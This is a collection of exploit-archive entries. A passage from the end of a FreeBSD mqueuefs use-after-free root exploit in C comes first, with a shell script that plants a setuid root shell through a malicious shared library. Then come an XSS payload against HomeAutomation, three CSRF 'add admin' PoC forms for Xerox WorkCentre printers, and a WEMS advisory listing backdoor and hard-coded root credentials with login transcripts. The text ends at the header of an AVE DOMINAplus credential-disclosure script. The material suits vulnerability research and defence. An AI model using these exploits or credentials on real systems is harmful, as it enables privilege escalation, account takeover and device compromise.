// is implemented by using file objects (struct file) internally.
//
// This circumvents an infinite loop in fget_unlocked() as dup()
// does not use _fget() but fhold() to increase the counter.
fd2 = dup(fd);
if (fd2 == -1) {
perror("dup");
exit(1);
}
fd3 = dup(fd);
if (fd3 == -1) {
perror("dup");
exit(1);
}
// Close the mqueue file to trigger a free operation
//
// The descriptors fd2 and fd3 will still point
// to the freed object
//
// Opening another file will render these descriptors
// to point the newly opened file
close(fd);
trigger_fd = open_tmp(NULL);
fds[0] = trigger_fd;
fds[1] = fd2;
fds[2] = fd3;
printf("[+] Finished UaF preparation\n");
}
// This function will monitor that all
// hammer threads are opened
void read_thread_status(int server_socket) {
int bytes_rec, count;
struct sockaddr_un client;
socklen_t len;
char buf[256];
struct timeval tv;
tv.tv_sec = 10;
tv.tv_usec = 0;
setsockopt(server_socket,
SOL_SOCKET, SO_RCVTIMEO,
(const char*)&tv, sizeof tv);
for (count = 0; count < NUM_FORKS*NUM_THREADS; count++) {
if (count % 100 == 0) {
printf("[+] Hammer threads ready: %d\n", count);
}
bzero(&client, sizeof(struct sockaddr_un));
bzero(buf, 256);
len = sizeof(struct sockaddr_un);
if ((bytes_rec = recvfrom(server_socket,
buf, 256, 0,
(struct sockaddr *) &client,
&len)) == -1) {
perror("[!] recvfrom");
break;
}
}
if (count != NUM_FORKS * NUM_THREADS) {
printf("[!] Could not create all hammer threads, will try though!\n");
}
}
// This function will execute the whole exploit
void fire() {
int i, j, fd, fd2, fd3, bytes_rec, server_socket;
int sv[2], fds[3], hammer_socket[NUM_FORKS];
int *fd_ptr;
char socket_path[256], sync_buf[3], buf[256];
pthread_t write_thread, trigger_thread, monitor_thread;
pthread_t hammer_threads[NUM_THREADS];
pid_t pids[NUM_FORKS];
socklen_t len;
struct thread_data thread_data;
struct sockaddr_un server, client;
struct sockaddr_un hammer_socket_addr[NUM_FORKS];
// Socket for receiving thread status
unlink(SERVER_PATH);
prepare_domain_socket(&server, SERVER_PATH);
server_socket = bind_domain_socket(&server);
// Sockets to receive hammer signal
for (i = 0; i < NUM_FORKS; i++) {
snprintf(socket_path, sizeof(socket_path), "%s%c", SERVER_PATH, '1'+i);
unlink(socket_path);
prepare_domain_socket(&hammer_socket_addr[i], socket_path);
hammer_socket[i] = bind_domain_socket(&hammer_socket_addr[i]);
}
strncpy(sync_buf, "1\n", 3);
len = sizeof(struct sockaddr_un);
if (socketpair(PF_UNIX, SOCK_STREAM, 0, sv) == -1) {
perror("[!] socketpair");
exit(1);
}
pthread_mutex_init(&write_mtx, NULL);
pthread_mutex_init(&trigger_mtx, NULL);
pthread_cond_init(&write_cond, NULL);
pthread_cond_init(&trigger_cond, NULL);
// Create the thread to monitor the number of
// dirty buffers directly in the beginning
// to be ready when needed
pthread_create(&monitor_thread, NULL, monitor_dirty_buffers, NULL);
// Prepare the UaF using the 0day
prepare(fds);
fd = fds[0];
fd2 = fds[1];
fd3 = fds[2];
// Create the threads which will execute the exploit
thread_data.fd = fd;
thread_data.fd2 = fd2;
pthread_create(&trigger_thread, NULL, trigger_uaf, (void *) &thread_data);
pthread_create(&write_thread, NULL, write_to_file, (void *) &thread_data);
for (j = 0; j < NUM_FORKS; j++) {
if ((pids[j] = fork()) < 0) {
perror("[!] fork");
abort();
}
else if (pids[j] == 0) {
// Close the file descriptors
// becasue each fork will have an own reference
// to the file object, thus increasing the
// reference counter
close(fd);
close(fd2);
close(fd3);
pthread_mutex_init(&hammer_mtx, NULL);
pthread_cond_init(&hammer_cond, NULL);
// Create the hammer threads
for (i = 0; i < NUM_THREADS; i++) {
pthread_create(&hammer_threads[i], NULL, hammer, NULL);
}
printf("[+] Fork %d created all threads\n", j);
// Wait for the signal to start hammering from the parent
if ((bytes_rec = recvfrom(hammer_socket[j],
buf, 256, 0,
(struct sockaddr *) &client,
&len)) == -1) {
perror("[!] accept");
abort();
}
// Broadcast to the hammer threads to
// start hammering
pthread_cond_broadcast(&hammer_cond);
// Wait for the hammer threads
for (i = 0; i < NUM_THREADS; i++) {
pthread_join(hammer_threads[i], NULL);
}
pthread_cond_destroy(&hammer_cond);
pthread_mutex_destroy(&hammer_mtx);
exit(0);
} else {
printf("[+] Created child with PID %d\n", pids[j]);
}
}
// Wait for the preparation of all hammer threads
// in the forks.
//
// If all are prepared, send a signal to the childs
// to start the hammering process to create dirty
// buffers.
read_thread_status(server_socket);
printf("[+] Send signal to Start Hammering\n");
for (i = 0; i < NUM_FORKS; i++) {
if (sendto(hammer_socket[i],
sync_buf,
strlen(sync_buf), 0,
(struct sockaddr *) &hammer_socket_addr[i],
sizeof(hammer_socket_addr[0])) == -1) {
perror("[!] sendto");
exit(1);
}
}
// Wait for all threads to finish
pthread_join(monitor_thread, NULL);
for (i = 0; i < NUM_FORKS; i++) {
kill(pids[i], SIGKILL);
printf("[+] Killed %d\n", pids[i]);
}
pthread_join(write_thread, (void **) &fd_ptr);
pthread_join(trigger_thread, NULL);
pthread_mutex_destroy(&write_mtx);
pthread_mutex_destroy(&trigger_mtx);
pthread_cond_destroy(&write_cond);
pthread_cond_destroy(&trigger_cond);
// Prevent a kernel panic
prevent_panic(*fd_ptr);
// fd was acquired from write_to_file
// which allocs a pointer for it
free(fd_ptr);
}
int main(int argc, char **argv)
{
setbuf(stdout, NULL);
fire();
return 0;
}
EOF
# Compile with -m32 to exploit FreeBSD-SA-19:24.mqueuefs
cc -o exploit -lpthread exploit.c
# cc -o exploit -m32 -lpthread exploit.c
cat > program.c << EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
if (!geteuid())
execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);
}
EOF
# Compile the shared library object
cc -o program.o -c program.c -fPIC
cc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
# Start the exploit
#
# su will execute the shared library object
# that creates the shell binary copy
echo "[+] Firing the Exploit"
./exploit
su
# Ensure that everything has worked
# and execute the root-shell
if [ -f /tmp/xxxx ]; then
echo "[+] Enjoy!"
echo "[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf"
/tmp/xxxx
else
echo "[!] FAIL"
fi

115
exploits/hardware/webapps/47806.txt Normal file
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# Exploit: HomeAutomation 3.3.2 - Persistent Cross-Site Scripting
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: Tom Rosenback and Daniel Malmgren
# Product web page: http://karpero.mine.nu/ha/
# Affected version: 3.3.2
# Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
# Advisory ID: ZSL-2019-5556
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5556.php
# HomeAutomation v3.3.2 Stored and Reflected XSS
Vendor: Tom Rosenback and Daniel Malmgren
Product web page: http://karpero.mine.nu/ha/
Affected version: 3.3.2
Summary: HomeAutomation is an open-source web interface and scheduling solution.
It was initially made for use with the Telldus TellStick, but is now based on a
plugin system and except for Tellstick it also comes with support for Crestron,
OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,
etc.) based on an advanced scheduling system, taking into account things like
measurements from various sensors. With the houseplan view you can get a simple
overview of the status of your devices at their location in your house.
Desc: HomeAutomation suffers from multiple stored and reflected XSS vulnerabilities
when input passed via several parameters to several scripts is not properly sanitized
before being returned to the user. This can be exploited to execute arbitrary HTML
and script code in a user's browser session in context of an affected site.
Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
Apache/2.4.29 (Ubuntu)
PHP/7.4.0RC4
PHP/7.3.11
PHP 7.2.24-0ubuntu0.18.04.1
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5556
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5556.php
06.11.2019
--
Reflected XSS:
--------------
https://192.168.2.113/?page=houseplan&autologin=1&msg=eyJpZCI6IiIsInRleHQiOiI8bWFycXVlZT50ZXN0PC9tYXJxdWVlPlVzZXJuYW1lIG9yIHBhc3N3b3JkIHdyb25nIiwiYWRkaXRpb25hbFRleHQiOiIiLCJ0eXBlIjoiZXJyb3IiLCJhdXRvQ2xvc2UiOmZhbHNlLCJzaG93T25seUluRGVidWciOmZhbHNlfQ==
Stored XSS:
-----------
POST /homeautomation_v3_3_2/?page=conf-macros HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 998
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq4LcgA7mbqElCW4q
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Referer: http://localhost/homeautomation_v3_3_2/?page=conf-macros&action=edit&id=-1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: HomeAutomation_user=admin; HomeAutomation_hash=842427e5fc831255d7aa811b70e64957; PHPSESSID=ldcipit064rfp5l8rtcah091og
------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="id"
-1
------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="action"
save
------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="name"
XSS
------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="comment"
"><script>confirm(document.cookie)</script>
------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="icon_on"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="scenario"
1
------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="devices[0]"
1
------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="statuses[0]"
1
------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="save"
Save
------WebKitFormBoundaryq4LcgA7mbqElCW4q--

73
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# Exploit Title: XEROX WorkCentre 6655 Printer - Cross-Site Request Forgery (Add Admin)
# Date: 2018-12-19
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.xerox.com/
# Hardware Link : https://www.office.xerox.com/en-us/multifunction-printers/workcentre-6655
# Software : Xerox Printer
# Product Version: WorkCentre® 6655
# Vulernability Type : Cross-Site Request Forgery (Add Admin)
# Vulenrability : Cross-Site Request Forgery
# CVE : N/A
# Description :
# The CSRF vulnerability was discovered in the WorkCentre® 6655 printer model of Xerox printer hardware.
# A request to add users is made in the Device User Database form field. This request is captured by
# the proxy. And a CSRF PoC HTML file is prepared. Xerox WorkCentre® 6655 printers allow CSRF. A request
# to add users is made in the Device User Database form field to the xerox.set URI.
# (The frmUserName value must have a unique name.)
HTTP POST Request :
POST /dummypost/xerox.set HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 494
Origin: https://server
Connection: close
Referer: https://server/properties/authentication/UserEdit.php?x=&isRoles=True&isPassword=True&isCreate=True&crumb1=UserManager%3Fx%3D%26sort%3DFname%26order%3DUp
Cookie: PHPSESSID=d7c4d8f8efe7dd919e6d0f5c93ec16cd; PageToShow=; statusSelected=n1; statusNumNodes=9; frmFirstName=%22%3E%3Ch1%3Ea; frmLastName=%22%3E%3Ch1%3Ea; frmCompany=%22%3E%3Ch1%3Ea; frmDisplayName=%22%3E%3Ch1%3Ea%2C%20%22%3E%3Ch1%3Ea; frmEmail=test@test.com; frmIFax=324324324324; frmFaxNumber=324324324324; frmFriendlyName=; frmProtocol=SMB; frmXrxAdd_1=Ipv4; frmDocumentPath=; frmLoginName=; frmServerName=; frmServerVolume=; frmNdsTree=; frmNdsContext=; frmSmbShare=; frmHnAdd_1=; frmIpv4_1_1=0; frmIpv4_1_2=0; frmIpv4_1_3=0; frmIpv4_1_4=0; frmIpv6_Host_1=%3A%3A; WebTimerPopupID=4; propSelected=n28; propNumNodes=117; propHierarchy=000100000000000000000000000; LastPage=/properties/authentication/UserEdit.php%3F%26isRoles%3DTrue%26isPassword%3DTrue%26isCreate%3DTrue
Upgrade-Insecure-Requests: 1
CSRFToken=72d9d94444730e9b3d16953c7987c2b0cff73a5d6c60df40ba2804f07d24e494148665ebb53a2633e5a1e8b73ef64ad02536d260928c6f10f408f2e3fd7c0776&_fun_function=HTTP_Set_ccgen_fac_dispatch_fn&NextPage=%2Fproperties%2Fauthentication%2FUserManager.php%3Fx%3D%26sort%3DFname%26order%3DUp&CcgenModule=UserEdit&isRoles=True&isPassword=True&isCreate=True&rolesStr=2%2C5%2C1%2C&limited=False&oid=0&userName=ismailtasdelen&friendlyName=Ismail+Tasdelen&newPassword=Test1234&retypePassword=Test1234&role=2&role=1
HTTP Response :
HTTP/1.1 200 OK
Date: Wed, 18 Dec 2019 22:09:40 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Length: 13518
CSRF HTML PoC :
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://server/dummypost/xerox.set" method="POST">
<input type="hidden" name="CSRFToken" value="72d9d94444730e9b3d16953c7987c2b0cff73a5d6c60df40ba2804f07d24e494148665ebb53a2633e5a1e8b73ef64ad02536d260928c6f10f408f2e3fd7c0776" />
<input type="hidden" name="&#95;fun&#95;function" value="HTTP&#95;Set&#95;ccgen&#95;fac&#95;dispatch&#95;fn" />
<input type="hidden" name="NextPage" value="&#47;properties&#47;authentication&#47;UserManager&#46;php&#63;x&#61;&sort&#61;Fname&order&#61;Up" />
<input type="hidden" name="CcgenModule" value="UserEdit" />
<input type="hidden" name="isRoles" value="True" />
<input type="hidden" name="isPassword" value="True" />
<input type="hidden" name="isCreate" value="True" />
<input type="hidden" name="rolesStr" value="2&#44;5&#44;1&#44;" />
<input type="hidden" name="limited" value="False" />
<input type="hidden" name="oid" value="0" />
<input type="hidden" name="userName" value="ismailtasdelen" />
<input type="hidden" name="friendlyName" value="Ismail&#32;Tasdelen" />
<input type="hidden" name="newPassword" value="Test1234" />
<input type="hidden" name="retypePassword" value="Test1234" />
<input type="hidden" name="role" value="2" />
<input type="hidden" name="role" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

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# Exploit Title: XEROX WorkCentre 7855 Printer - Cross-Site Request Forgery (Add Admin)
# Date: 2018-12-19
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.xerox.com/
# Hardware Link : https://www.office.xerox.com/en-us/multifunction-printers/workcentre-7800-series/
# Software : Xerox Printer
# Product Version: WorkCentre® 7855
# Vulernability Type : Cross-Site Request Forgery (Add Admin)
# Vulenrability : Cross-Site Request Forgery
# CVE : N/A
# Description :
# The CSRF vulnerability was discovered in the WorkCentre® 7855 printer model of Xerox printer hardware.
# A request to add users is made in the Device User Database form field. This request is captured by
# the proxy. And a CSRF PoC HTML file is prepared. WorkCentre® 7855 printers allow CSRF. A request
# to add users is made in the Device User Database form field to the xerox.set URI.
# (The frmUserName value must have a unique name.)
HTTP POST Request :
POST /dummypost/xerox.set HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 494
Origin: http://server
Connection: close
Referer: http://server/properties/authentication/UserEdit.php?x=&isRoles=True&isPassword=True&isCreate=True&crumb1=UserManager%3Fx%3D%26sort%3DFname%26order%3DUp
Cookie: PageToShow=; statusSelected=n1; statusNumNodes=8; PHPSESSID=04dc6361e94c451ff4d7d1d3ef8e32cd; WebTimerPopupID=12; propSelected=n30; propNumNodes=115; propHierarchy=00010000000000000000001000; LastPage=/properties/authentication/UserEdit.php%3F%26isRoles%3DTrue%26isPassword%3DTrue%26isCreate%3DTrue
Upgrade-Insecure-Requests: 1
CSRFToken=67a23ff66bbdd5a1cdb95afa3a677807d74a5d74e2c1d55c576008e0a0399738b55e54353be4b069a3e68c761350654aa7e27fdcbfb9b43148aa3a1f6e8e5f7b&_fun_function=HTTP_Set_ccgen_fac_dispatch_fn&NextPage=%2Fproperties%2Fauthentication%2FUserManager.php%3Fx%3D%26sort%3DFname%26order%3DUp&CcgenModule=UserEdit&isRoles=True&isPassword=True&isCreate=True&rolesStr=2%2C5%2C1%2C&limited=False&oid=0&userName=ismailtasdelen&friendlyName=Ismail+Tasdelen&newPassword=Test1234&retypePassword=Test1234&role=2&role=1
HTTP Response :
HTTP/1.1 200 OK
Date: Thu, 19 Dec 2019 05:13:19 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Length: 11947
CSRF HTML PoC :
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://server/dummypost/xerox.set" method="POST">
<input type="hidden" name="CSRFToken" value="67a23ff66bbdd5a1cdb95afa3a677807d74a5d74e2c1d55c576008e0a0399738b55e54353be4b069a3e68c761350654aa7e27fdcbfb9b43148aa3a1f6e8e5f7b" />
<input type="hidden" name="&#95;fun&#95;function" value="HTTP&#95;Set&#95;ccgen&#95;fac&#95;dispatch&#95;fn" />
<input type="hidden" name="NextPage" value="&#47;properties&#47;authentication&#47;UserManager&#46;php&#63;x&#61;&sort&#61;Fname&order&#61;Up" />
<input type="hidden" name="CcgenModule" value="UserEdit" />
<input type="hidden" name="isRoles" value="True" />
<input type="hidden" name="isPassword" value="True" />
<input type="hidden" name="isCreate" value="True" />
<input type="hidden" name="rolesStr" value="2&#44;5&#44;1&#44;" />
<input type="hidden" name="limited" value="False" />
<input type="hidden" name="oid" value="0" />
<input type="hidden" name="userName" value="ismailtasdelen" />
<input type="hidden" name="friendlyName" value="Ismail&#32;Tasdelen" />
<input type="hidden" name="newPassword" value="Test1234" />
<input type="hidden" name="retypePassword" value="Test1234" />
<input type="hidden" name="role" value="2" />
<input type="hidden" name="role" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

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# Exploit Title: XEROX WorkCentre 7830 Printer - Cross-Site Request Forgery (Add Admin)
# Date: 2018-12-19
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.xerox.com/
# Hardware Link : https://www.office.xerox.com/en-us/multifunction-printers/workcentre-7800-series
# Software : Xerox Printer
# Product Version: WorkCentre® 7830
# Vulernability Type : Cross-Site Request Forgery (Add Admin)
# Vulenrability : Cross-Site Request Forgery
# CVE : N/A
# Description :
# The CSRF vulnerability was discovered in the WorkCentre® 7830 printer model of Xerox printer hardware.
# A request to add users is made in the Device User Database form field. This request is captured by
# the proxy. And a CSRF PoC HTML file is prepared. WorkCentre® 7830 printers allow CSRF. A request
# to add users is made in the Device User Database form field to the xerox.set URI.
# (The frmUserName value must have a unique name.)
HTTP POST Request :
POST /dummypost/xerox.set HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 494
Origin: http://server
Connection: close
Referer: http://server/properties/authentication/UserEdit.php?x=&isRoles=True&isPassword=True&isCreate=True&crumb1=UserManager%3Fx%3D%26sort%3DFname%26order%3DUp
Cookie: PageToShow=; statusSelected=n1; statusNumNodes=8; PHPSESSID=6524448254c9d6d6de52fe4a1085b994; WebTimerPopupID=5; propSelected=n30; propNumNodes=115; propHierarchy=00010000000000000000000000; LastPage=/properties/authentication/UserEdit.php%3F%26isRoles%3DTrue%26isPassword%3DTrue%26isCreate%3DTrue
Upgrade-Insecure-Requests: 1
CSRFToken=078992ef7d70f5868c7bb9e99d5ed4c3a388351c1951bc033b392703df1e7121d1a4c0161b987721fdb8c4ee0cfda6e0be172a51d018c10ebf4b4f554b9d2708&_fun_function=HTTP_Set_ccgen_fac_dispatch_fn&NextPage=%2Fproperties%2Fauthentication%2FUserManager.php%3Fx%3D%26sort%3DFname%26order%3DUp&CcgenModule=UserEdit&isRoles=True&isPassword=True&isCreate=True&rolesStr=2%2C5%2C1%2C&limited=False&oid=0&userName=ismailtasdelen&friendlyName=Ismail+Tasdelen&newPassword=Test1234&retypePassword=Test1234&role=2&role=1
HTTP Response :
HTTP/1.1 200 OK
Date: Thu, 19 Dec 2019 05:34:36 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Length: 15022
CSRF HTML PoC :
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://server/dummypost/xerox.set" method="POST">
<input type="hidden" name="CSRFToken" value="078992ef7d70f5868c7bb9e99d5ed4c3a388351c1951bc033b392703df1e7121d1a4c0161b987721fdb8c4ee0cfda6e0be172a51d018c10ebf4b4f554b9d2708" />
<input type="hidden" name="&#95;fun&#95;function" value="HTTP&#95;Set&#95;ccgen&#95;fac&#95;dispatch&#95;fn" />
<input type="hidden" name="NextPage" value="&#47;properties&#47;authentication&#47;UserManager&#46;php&#63;x&#61;&sort&#61;Fname&order&#61;Up" />
<input type="hidden" name="CcgenModule" value="UserEdit" />
<input type="hidden" name="isRoles" value="True" />
<input type="hidden" name="isPassword" value="True" />
<input type="hidden" name="isCreate" value="True" />
<input type="hidden" name="rolesStr" value="2&#44;5&#44;1&#44;" />
<input type="hidden" name="limited" value="False" />
<input type="hidden" name="oid" value="0" />
<input type="hidden" name="userName" value="ismailtasdelen" />
<input type="hidden" name="friendlyName" value="Ismail&#32;Tasdelen" />
<input type="hidden" name="newPassword" value="Test1234" />
<input type="hidden" name="retypePassword" value="Test1234" />
<input type="hidden" name="role" value="2" />
<input type="hidden" name="role" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

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# Exploit: WEMS BEMS 21.3.1 - Undocumented Backdoor Account
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: WEMS Limited
# Product web page: https://www.wems.co.uk
# Advisory ID: ZSL-2019-5552
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5552.php
WEMS BEMS 21.3.1 Undocumented Backdoor Account
Vendor: WEMS Limited
Product web page: https://www.wems.co.uk
Affected version: Web: 21.3.1
Web: 20.0beta
Web: 19.5
Web: 18.4
Firmware: 1.26.6 (OS: 5.3)
Firmware: 1.23.7 (OS: 5.0)
Firmware: 1.21.4 (OS: 4.1a-usb)
Firmware: 1.18.0.3 (OS: i686-1.1)
Platform: Shockwave Flash (SWF) / CGI
Summary: We (WEMS) offer the world's first fully wireless energy management system.
Our solution enables your organization to take control of its energy costs, by monitoring
lighting, heating and air conditioning equipment to identify wastage across multiple
sites and start saving money instantly. Additionally, we offer a service which enables
you to personally control the settings of your building - remotely, via text messaging
and the internet - from wherever you happen to be in the world.
Desc: The wireless BMS solution has an undocumented backdoor account that is Base64-encoded.
These sets of credentials are never exposed to the end-user and cannot be changed through
any normal operation of the controller thru the RMI. Attacker could exploit this vulnerability
by logging in using the backdoor account with highest privileges for administration and gain
full system control. The check_users.sh Bash script is used to generate the default accounts
on the system with their passwords and privilege level. The backdoor user cannot be seen in
the users settings in the admin panel and it also uses an undocumented privilege level 3 when
using the addhttpuser program which allows full availability of the features that the WEMS
is offering remotely. WEMS also ships with hard-coded and weak credentials for Telnet/FTP
access using the credentials gast:glasshou or root:glasshou.
Tested on: Linux 2.6.16 armv5tejl
thttpd/2.25b
Adam 7000 System
WEMS OS 5.3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5552
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5552.php
06.07.2019
--
Excerpt content of check_users.sh bash script:
----------------------------------------------
# cat /tmp/check_users.sh
...
...
if [ -n "${varSystem}" ];then
#add 'V.A.R.' user credentials
/mnt/bin/addhttpuser -u var -p 88fRK66Q -l 2 > /dev/null
/mnt/bin/addhttpuser -u varuser -p user -l 1 > /dev/null
/mnt/bin/addhttpuser -u varview -p view -l 0 > /dev/null
else
#add 'wems' user credentials
/mnt/bin/addhttpuser -u wems -p kup5EF4s -l 2 > /dev/null
/mnt/bin/addhttpuser -u wemsuser -p user -l 1 > /dev/null
/mnt/bin/addhttpuser -u wemsview -p view -l 0 > /dev/null
fi
echo "Adding logging user credentials..."
/mnt/bin/addhttpuser -u YWRhbWNvbGxlY3Q -p YzAxMTNjdGFkYW0K -l 3 > /dev/null
# Verify user added successfully...
if [ "$?" -eq "255" ]
then
echo "Error when adding logging user credentials - aborting.."
cp -p /mnt/etc/httpusers.default /mnt/etc/httpusers
exit
fi
veri_user=`grep -e 'YWRhbWNvbGxlY3Q' /mnt/etc/httpusers`
if [ -n "$veri_user" ]
then
echo "User credentials added successfully."
cp -p /mnt/etc/httpusers /mnt/etc/httpusers.default
exit
else
echo "Error when adding user credentials - restoring defaults."
cp -p /mnt/etc/httpusers.default /mnt/etc/httpusers
fi
----------------------------------------------
Default and hard-coded credentials:
-----------------------------------
WEMS:
[Level 2/Admin - Web/SWF->CGI] : wems:kup5EF4s
[Level 1/User - Web/SWF->CGI] : wemsuser:user
[Level 0/View - Web/SWF->CGI] : wemsview:view
[Level 3/Backdoor - Web/SWF->CGI] : YWRhbWNvbGxlY3Q:YzAxMTNjdGFkYW0K (adamcollect:c0113ctadam)
V.A.R. (Value Added Reseller):
[Level 2/Admin - Web/SWF->CGI] : var:88fRK66Q
[Level 1/User - Web/SWF->CGI] : varuser:user
[Level 0/View - Web/SWF->CGI] : varview:view
Shell:
[Level 500/User - Telnet/FTP] : gast:glasshou
[Level 0/root - Telnet/FTP] : root:glasshou
-----------------------------------
By calling the auth command through the cmd parameter, the cgiauth binary
reads the /mnt/etc/httpusers file and checks validation for authentication.
To login with the backdoor account the following HTTP GET request is made:
--------------------------------------------------------------------------
GET /cgi-bin/cgiauth?user=YWRhbWNvbGxlY3Q&pass=YzAxMTNjdGFkYW0K&cmd=auth HTTP/1.1
Host: 192.168.1.17
User-Agent: Noproblem/25.1
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.1.17/SMARThome1.swf
Response observed:
HTTP/1.1 200 OK
content-type: text/html
Transfer-Encoding: chunked
Date: Fri, 13 Sep 2019 18:15:17 GMT
Server: WEMS OS 5.0 Casino
sessionid=EQhaZPEXgJQhkXeZ&level=3&username=YWRhbWNvbGxlY3Q
--------------------------------------------------------------------------
Running addhttpuser, reading httpusers file:
--------------------------------------------
# /mnt/bin/addhttpuser
Usage is -u <username> -p <password> -l <level>
# cat /mnt/etc/httpusers
0:wems:$1$3EVBJ96F$RBX7xggVT8.zXM9vDbGWB/:2
1:wemsuser:$1$3EVBJA6F$Gr6zU7L0n4OPq7YdCM5.b1:1
2:wemsview:$1$3EVBJB6F$6XtYBc2VaQYucRe2T7lfa.:0
3:YWRhbWNvbGxlY3Q:$1$3EVBJD6F$scO5furQud3eKLHpNyUyo.:3
# ls -al /mnt/bin/addhttpuser
-rwxr-xr-x 1 root root 16520 Jan 29 2014 /mnt/bin/addhttpuser
--------------------------------------------
Root shell:
-----------
$ telnet 192.168.1.17
Connected to 192.168.1.17.
Escape character is '^]'.
- Adam 7000 System - Version 4.1a-usb -
WEMS login: gast
Password:
BusyBox v1.01 (2011.02.24-11:55+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
$ id
uid=500(gast) gid=500
$ su
Password:
BusyBox v1.01 (2011.02.24-11:55+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
# id
uid=0(root) gid=0(root)
# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN
-----------
$ ftp 192.168.1.17
WEMS FTP server (Version wu-2.6.2(12) Thu Feb 24 14:48:47 GMT 2011) ready.
user root
331 Password required for root.
pass glasshou
230 User root logged in.

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# Exploit: AVE DOMINAplus 1.10.x - Credential Disclosure
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: AVE S.p.A.
# Product web page: https://www.ave.it | https://www.domoticaplus.it
# Affected version: Web Server Code 53AB-WBS - 1.10.62
# Advisory ID: ZSL-2019-5550
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5550.php
#!/usr/bin/env python
#
#
# AVE DOMINAplus <=1.10.x Credentials Disclosure Exploit
#
#
# Vendor: AVE S.p.A.
# Product web page: https://www.ave.it | https://www.domoticaplus.it
# Affected version: Web Server Code 53AB-WBS - 1.10.62
# Touch Screen Code TS01 - 1.0.65
# Touch Screen Code TS03x-V | TS04X-V - 1.10.45a
# Touch Screen Code TS05 - 1.10.36
# Models: 53AB-WBS
# TS01
# TS03V
# TS04X-V
# TS05N-V
